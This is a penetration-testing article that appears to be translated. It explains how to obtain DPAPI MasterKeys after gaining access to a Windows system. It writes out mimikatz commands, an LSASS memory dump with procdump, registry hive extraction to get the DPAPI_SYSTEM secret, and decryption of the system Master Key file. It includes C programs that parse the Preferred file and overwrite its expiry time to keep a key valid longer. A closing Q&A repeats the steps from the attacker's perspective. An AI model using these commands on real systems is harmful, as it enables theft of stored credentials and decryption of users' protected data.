Penetration Techniques - Obtaining the MasterKey in DPAPI on Windows Systems

Onedaysec
4 min read
0 views
docx image 1770019792762 0 bd428f94d8

0x00 Preface

---

In Windows systems, most user encrypted data is stored using DPAPI, and to decrypt this data, it is necessary to obtain the corresponding MasterKey for DPAPI. This article will introduce methods to obtain the MasterKey after gaining access to a Windows system, while analyzing the Preferred file format to extend the validity period of the MasterKey.

0x01 Introduction

---

This article will cover the following topics

  • Basic Concepts
  • Methods to Obtain the MasterKey
  • Parsing the Preferred File
  • Modifying the MasterKey Expiration Time

0x02 Basic Concepts

---

DPAPI:

Full name: Data Protection Application Programming Interface

Widely used as a data protection interface in the Windows system

Primarily used to protect encrypted data, common applications include:

  • EFS file encryption
  • Storing wireless connection passwords
  • Windows Credential Manager
  • Internet Explorer
  • Outlook
  • Skype
  • Windows CardSpace
  • Windows Vault
  • Google Chrome

Master Key:

64 bytes, used to decrypt DPAPI blobs; encrypted with the user's login password, SID, and a 16-byte random number, then stored in the Master Key file

Master Key file:

A binary file that can be decrypted using the user's login password to obtain the Master Key

There are two types:

  • User Master Key file, located at %APPDATA%\Microsoft\Protect\%SID%
  • System Master Key file, located at %WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

Preferred file:

Located in the same directory as the Master Key file, it shows the currently used MasterKey and its expiration time, with a default validity period of 90 days

0x03 Methods to Obtain MasterKey

---

This section mainly introduces the method of obtaining MasterKey through mimikatz

1. Online acquisition

By reading the Lsass process information, obtain the MasterKey in the current system, which can retrieve MasterKeys corresponding to multiple Master Key files

Administrator privileges:

privilege::debug
sekurlsa::dpapi

As shown in the figure below

1. Online acquisition — technical illustration 1

1. Online acquisition — technical illustration 2

2. Offline Reading

Approach 1:

Use procdump to dump the LSASS process memory

Administrator privileges:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

Use mimikatz to load the dmp file and obtain the MasterKey corresponding to each Master Key file:

sekurlsa::minidump lsass.dmp
sekurlsa::dpapi

Approach 2:

Reference materials:

https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials

1. Copy the registry file

Administrator privileges:

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SECURITY SECURITY.hiv

2. Obtain DPAPI_SYSTEM from the registry file

mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"

As shown in the figure below

Approach 2: — technical illustration 3

The user hash in DPAPI_SYSTEM is c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3, which can be used to decrypt the system Master Key file located at %WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

3. Decrypt the system Master Key file to obtain the MasterKey

mimikatz "dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\04ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"

The decrypted MasterKey is 3e9d7f32f2e57933ead318d075efc82325697d87d992b626a20abb5f0ffba6f073d282a837b6fa058ecff36039aa944e04b3dfb666ebace44aad6bff8789ca43

As shown in the figure below

Approach 2: — technical illustration 4

0x04 Parse the Preferred file

---

Located in the same directory as the Master Key file, it displays the MasterKey file currently in use by the system and its expiration time

Format is as follows:

typedef struct _tagPreferredMasterKey
{
GUID guidMasterKey;
FILETIME ftCreated;
} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;

For example C:\Users\b\AppData\Roaming\Microsoft\Protect\S-1-5-21-2884853959-2080156797-250722187-1002\Preferred

As shown in the figure below

0x04 Parse the Preferred file — technical illustration 5

The first 16 bytes F6 B0 11 A1 D7 B4 C8 40 B5 36 67 2A 82 88 B9 58 correspond to the GUID. After adjusting the format, the corresponding file is a111b0f6-b4d7-40c8-b536-672a8288b958

The last 8 bytes D0 08 9F 7D 11 EC D3 01 correspond to the expiration time

For FILETIME representing time, the format is as follows:

typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME, *PFILETIME;

To display in a daily-use time format, FILETIME type needs to be converted to SYSTEMTIME type

In program implementation, it's also necessary to use the sscanf_s function to convert strings to DWORD format

Reference C code is as follows:

#include

int main(void)
{
FILE *fp;
unsigned char buf[24];
fopen_s(&fp,"Preferred","rb");
fread(buf,1,24,fp);
printf("Data: ");
for(int i=0;i<24;i++)
{
printf("%02x",buf[i]);
}
fclose(fp);

printf("\nguidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\n",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]);

char lowDateTime[9],highDateTime[9];
sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]);
sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]);

printf("dwLowDateTime:%s\n",lowDateTime);
printf("dwHighDateTime:%s\n",highDateTime);

FILETIME ftUTC;
SYSTEMTIME stUTC2;
sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime);
sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime);
FileTimeToSystemTime(&ftUTC, &stUTC2);
printf("");
printf("Expiry time: %d-%d-%d %d:%d:%d\n", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond);

return 0;
}

Note:

You can also use fread to read int type data to solve the string reverse order problem

Read the Preferred file, parse the guid and expiration time of the Master Key file currently in use by the system

Test as shown in the figure below

0x04 Parse the Preferred file — technical illustration 6

0x05 Modify MasterKey expiration time

---

Modification approach:

Enter the expiration time, convert it to FILETIME format, and replace the FILETIME in the Preferred file

Reference C code is as follows:

#include
int main(void)
{
SYSTEMTIME st={0};
FILETIME ft={0};
printf("[+]Start to change expiry time...\n");
st.wYear = 2019;
st.wMonth = 12;
st.wDay = 30;
st.wHour = 12;
st.wMinute = 30;
st.wSecond = 30;
printf("[+]New expiry time:%d-%d-%d %d:%d:%d\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
SystemTimeToFileTime(&st,&ft);
printf("dwLowDateTime:%08x\n",ft.dwLowDateTime);
printf("dwHighDateTime:%08x\n",ft.dwHighDateTime);

FILE *fp;
fopen_s(&fp,"Preferred","rb+");
fseek(fp,16,SEEK_SET);
fwrite(&ft.dwLowDateTime,sizeof(int),1,fp);
fwrite(&ft.dwHighDateTime,sizeof(int),1,fp);
fclose(fp);
printf("[+]Change success.\n");
return 0;
}

Read the Preferred file and set the expiration time to 2019-12-30 12:30:30

After modification, re-read the Preferred file information, successfully modified, as shown in the figure below

0x05 Modify MasterKey expiration time — technical illustration 7

0x06 Summary

---

This article summarizes the method of obtaining the MasterKey after gaining Windows system privileges, writing a program to automatically analyze the Preferred file format and extend the validity period of the MasterKey

Related Questions & Answers

How does the Preferred file indicate the active MasterKey and its expiration, and how can the expiration time be modified?

The Preferred file, located in the same directory as Master Key files, stores a 16-byte GUID identifying the current MasterKey and an 8-byte FILETIME representing its expiration (default 90 days). Using C code, an attacker can parse the file to read these values and calculate the expiry date. By overwriting the FILETIME bytes with a desired future time, the MasterKey's validity can be extended indefinitely, allowing continued decryption of data without needing a new login.

What offline methods exist to obtain the DPAPI MasterKey without direct access to the running system?

One method is to dump the LSASS process memory using `procdump.exe -ma lsass.exe`, then load the dump file into mimikatz with `sekurlsa::minidump` and run `sekurlsa::dpapi`. Another approach involves saving the SYSTEM and SECURITY registry hives, extracting the DPAPI_SYSTEM hash via `lsadump::secrets`, and using that hash to decrypt system Master Key files directly. For a full walkthrough, see [Penetration Techniques - Obtaining the MasterKey in DPAPI on Windows Systems](/news/penetration-techniques-obtaining-the-masterkey-in-dpapi-on-windows-systems).

How can an attacker recover the DPAPI MasterKey from a live Windows system using mimikatz?

With administrator privileges, an attacker can run mimikatz in an interactive session and execute the commands `privilege::debug` followed by `sekurlsa::dpapi`. This reads the LSASS process memory and displays all cached MasterKeys along with their corresponding Master Key files. This online technique is effective for immediate decryption of DPAPI blobs on the compromised system.

What is DPAPI and why is the MasterKey critical for decrypting protected data on Windows?

DPAPI (Data Protection Application Programming Interface) is a Windows component used to encrypt sensitive data such as EFS files, wireless passwords, and credentials stored in Windows Credential Manager. The MasterKey is a 64-byte key that is required to decrypt DPAPI-protected blobs; it is stored in a Master Key file encrypted with the user's login password, SID, and a random salt. Obtaining the MasterKey is essential for an attacker to access encrypted user data, similar to how extracting password hashes from the SAM database enables credential theft ([Penetration Techniques - Obtaining Local User Hashes via SAM Database](/news/penetration-techniques-obtaining-local-user-hashes-via-sam-database)).

Continue Reading